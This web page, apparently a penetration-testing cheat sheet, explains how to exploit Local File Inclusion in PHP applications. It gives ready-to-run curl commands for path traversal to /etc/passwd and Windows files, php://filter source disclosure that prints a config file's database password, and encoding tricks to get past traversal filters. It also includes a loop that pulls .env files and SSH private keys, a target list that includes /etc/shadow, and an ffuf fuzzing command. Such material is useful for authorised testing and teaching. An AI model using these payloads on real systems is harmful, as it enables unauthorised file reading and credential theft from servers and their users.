Skip to content
HackIndex logo

HackIndex

Local File Inclusion Exploitation

2 min read Apr 24, 2026

Local File Inclusion lets you read arbitrary files the web server process can access. The immediate value is credential extraction from config files, SSH keys, and system files. The follow-on path is escalation to code execution via log poisoning, session injection, or PHP wrappers — covered in LFI to Remote Code Execution.

Confirm the vulnerability with /etc/passwd before targeting anything else. Adjust traversal depth until you get a hit.

Basic Path Traversal

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../etc/passwd" | grep root
root:x:0:0:root:/root:/bin/bash
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../../../etc/passwd" | grep root
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../Windows/System32/drivers/etc/hosts"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../inetpub/wwwroot/web.config"

If the baseline traversal returns nothing, increment depth. Start at ../../ and go up to ../../../../../. Check response size changes — even a slight difference indicates a successful read that may not print cleanly.

PHP Filter Wrapper for Source Disclosure

The php://filter wrapper reads files as base64 without executing them. This lets you read PHP source files that would otherwise be executed instead of displayed:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=php://filter/convert.base64-encode/resource=config.php" | base64 -d
<?php
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'SuperSecret123!';
$db_name = 'webapp';
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=php://filter/convert.base64-encode/resource=../../var/www/html/index.php" | base64 -d

Source code disclosure from config files frequently contains database credentials, API keys, and internal service addresses. Read the main application files to map further injection points before escalating.

High-Value File Targets

After confirming traversal works, target files likely to contain credentials or intelligence useful for escalation:

Linux target

Value

/etc/passwd

User list, home directories

/etc/shadow

Password hashes if readable

/home/USER/.ssh/id_rsa

SSH private key

/var/www/html/config.php

Database credentials

/var/www/html/.env

App secrets, API keys

/var/log/apache2/access.log

Log poisoning target

/proc/version

Kernel version

┌──(kali㉿kali)-[~]
└─$ for file in /etc/passwd /etc/hostname /var/www/html/.env /var/www/html/config.php /home/www-data/.ssh/id_rsa; do echo "=== $file ==="; curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../..${file}" | head -5; done

Filter Bypass Techniques

When basic traversal is blocked, the application is likely stripping or blocking ../ sequences. Try these variants in order — stop when one works:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=....//....//....//etc/passwd" | grep root
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=..%2F..%2F..%2Fetc%2Fpasswd" | grep root
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=..%252F..%252F..%252Fetc%252Fpasswd" | grep root
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../etc/passwd%00" | grep root

Automated Fuzzing

Use ffuf with a dedicated LFI wordlist to test all traversal variants against the parameter automatically:

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://$TARGET_IP:$PORT/index.php?page=FUZZ" -mc 200 -fs 1234
Explain command
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt Wordlist file containing LFI payloads to fuzz with.
-u "http://$TARGET_IP:$PORT/index.php?page=FUZZ" Target URL with FUZZ keyword marking the injection point.
$TARGET_IP Placeholder for the target host IP address.
$PORT Placeholder for the target port number.
-mc 200 Match only HTTP responses with status code 200.
-fs 1234 Filter out responses with a body size of 1234 bytes.

Set -fs to the normal response size so only results with different content are shown. Once you have reliable file read, escalate to code execution via LFI to Remote Code Execution.

References